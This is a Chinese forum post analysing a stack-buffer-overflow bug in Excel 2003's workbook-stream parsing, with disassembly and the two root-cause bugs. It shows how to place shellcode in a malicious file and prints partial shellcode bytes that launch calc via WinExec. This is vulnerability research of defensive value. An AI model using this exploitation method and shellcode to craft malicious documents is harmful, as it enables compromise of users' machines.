本帖最后由 岁月神偷7 于 2014-7-22 09:25 编辑
哈勃自动分析报告连接:
http://habo.qq.com/file/showdetail?pk=ADcGb11pB2c=
环境
系统:windows xp sp3
Excel版本:Micrsoft Office Excel 2003 (11.8307.8221) SP3
简要分析:
利用函数CopydatainworkStream(根据函数作用命名)的漏洞来达到覆盖栈帧数据的目的。
详细分析:
1,找到一个引发漏洞的样本,用excel执行以后会弹出计算器。来到0x300E4556
300E4541 3BD8 cmp ebx,eax
300E4543 7D 02 jge short EXCEL.300E4547
300E4545 8BC3 mov eax,ebx
300E4547 8DB2 C0FD8830 lea esi,dword ptr ds:[edx+3088FDC0] ; g_workbookstream[edx]
300E454D 8BC8 mov ecx,eax
300E454F 8BD1 mov edx,ecx
300E4551 C1E9 02 shr ecx,2
300E4554 8BFD mov edi,ebp
300E4556 F3:A5 rep movs dword ptr es:[edi],dword ptr ds>
300E4558 8BCA mov ecx,edx
此处代码为把g_workbookstream处的数据拷贝的edi。查看3088FDC0出的内容,发现此处确实为workbook内容,程序workbook内容覆盖了栈帧的数据。
2,分析覆盖栈帧数据的函数原型为long copydatainworkbookstream(void * dst, unsigned long count, unsigned long total)
此函数的含义为把g_workbookstream + g_streamptr位置的数据复制到dst指向的内存中,大小为count,count不允许大于total(注意这里是无符号数)。
3,下面代码的含义是在栈上申请一个2020h大小的空间,然后拷贝数据进去
3070E4BE 8BF0 mov esi,eax
3070E4C0 A1 64448930 mov eax,dword ptr ds:[30894464]
3070E4C5 3BC7 cmp eax,edi
3070E4C7 8975 7C mov dword ptr ss:[ebp+7C],esi
3070E4CA 897D 64 mov dword ptr ss:[ebp+64],edi
3070E4CD 897D 54 mov dword ptr ss:[ebp+54],edi
3070E4D0 BB 20200000 mov ebx,2020
3070E4D5 74 12 je short EXCEL.3070E4E9
3070E4D7 8BF8 mov edi,eax
3070E4D9 897D 6C mov dword ptr ss:[ebp+6C],edi
3070E4DC E8 ABF39BFF call EXCEL.300CD88C
3070E4E1 8945 2C mov dword ptr ss:[ebp+2C],eax
3070E4E4 E9 970B0000 jmp EXCEL.3070F080
3070E4E9 8BC3 mov eax,ebx
3070E4F8 /E9 830B0000 jmp EXCEL.3070F080
3070E4FD |817D 68 C000000>cmp dword ptr ss:[ebp+68],0C0
3070E504 |0F84 800B0000 je EXCEL.3070F08A
3070E50A |68 20200000 push 2020
3070E50F |56 push esi
3070E510 |57 push edi
3070E511 |E8 F85F9DFF call EXCEL.300E450E
4,继续向下分析
3070E608 3B75 7C cmp esi,dword ptr ss:[ebp+7C]
3070E60B 72 67 jb short EXCEL.3070E674
3070E60D E8 8BA49DFF call EXCEL.300E8A9D ; getwordandmoveptr
3070E612 83F8 3C cmp eax,3C
3070E615 8945 68 mov dword ptr ss:[ebp+68],eax
3070E618 0F85 C80A0000 jnz EXCEL.3070F0E6
3070E61E E8 7AA49DFF call EXCEL.300E8A9D ; getwordandmoveptr
在0x3070E608处的比较,这里的意图应该是如果esi的值大于recordlen就查看下一个record是否是type为0x3c的record。也就是说应该讲continue record
的数据和0xa7 record的数据拼起来成为完整的数据。
3070E62A 8945 7C mov dword ptr ss:[ebp+7C],eax
3070E62D 8B45 6C mov eax,dword ptr ss:[ebp+6C]
3070E630 8D7407 03 lea esi,dword ptr ds:[edi+eax+3]
3070E634 E8 53F29BFF call EXCEL.300CD88C
3070E639 6A FD push -3
3070E63B 59 pop ecx
3070E63C 2BCF sub ecx,edi
3070E63E 03C1 add eax,ecx
3070E640 50 push eax
3070E641 FF75 7C push dword ptr ss:[ebp+7C]
3070E644 56 push esi
3070E645 E8 C45E9DFF call EXCEL.300E450E ; copydatainworkbookstream
这段代码就是刚刚覆盖栈数据的调用代码
copydatainworkbookstream(buf+dwSize,continuerecordlen,gettotalsize()+dwSize)
总结一下此处有两个bug
1,gettotalsize()+dwSize为负数没有进行判断,变为无符号数后数值变得很大
2,理论上拷贝的目的地应该是buf,但是却用了buf+dwSize这导致了栈越界写操作
根据以上分析,可以在workbookstream中填写shellcode代码,在本样本中的地址为:
0x639位置
1D08B407885C0744A01D0508B48188B582001D3E33C498B348B01D631FF31C0ACC1CF0D01C738E075F4037DF83B7D2475E2588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE0585F5A8B12EB865D6A018D85B90000005068318B6F87FFD5BBE01D2A0A68A695BD9DFFD53C067C0A80FBE07505BB4713726F6A0053FFD563616C6300(部分shellcode) 0013D718 5B pop ebx
0013D719 5B pop ebx
0013D71A 61 popad
0013D71B 59 pop ecx
0013D71C 5A pop edx
0013D71D 51 push ecx
0013D71E FFE0 jmp eax
0013D720 58 pop eax
0013D721 5F pop edi
0013D722 5A pop edx
0013D723 8B12 mov edx,dword ptr ds:[edx]
0013D725 ^ EB 86 jmp short 0013D6AD
0013D727 5D pop ebp
0013D728 6A 01 push 1
0013D72A 8D85 B9000000 lea eax,dword ptr ss:[ebp+B9]
0013D730 50 push eax
0013D731 68 318B6F87 push 876F8B31
0013D736 FFD5 call ebp WinExeC(calc,SW_SHOWNORMAL)
有红色16进制数据可以看到shellcode在执行计算器的进程。
|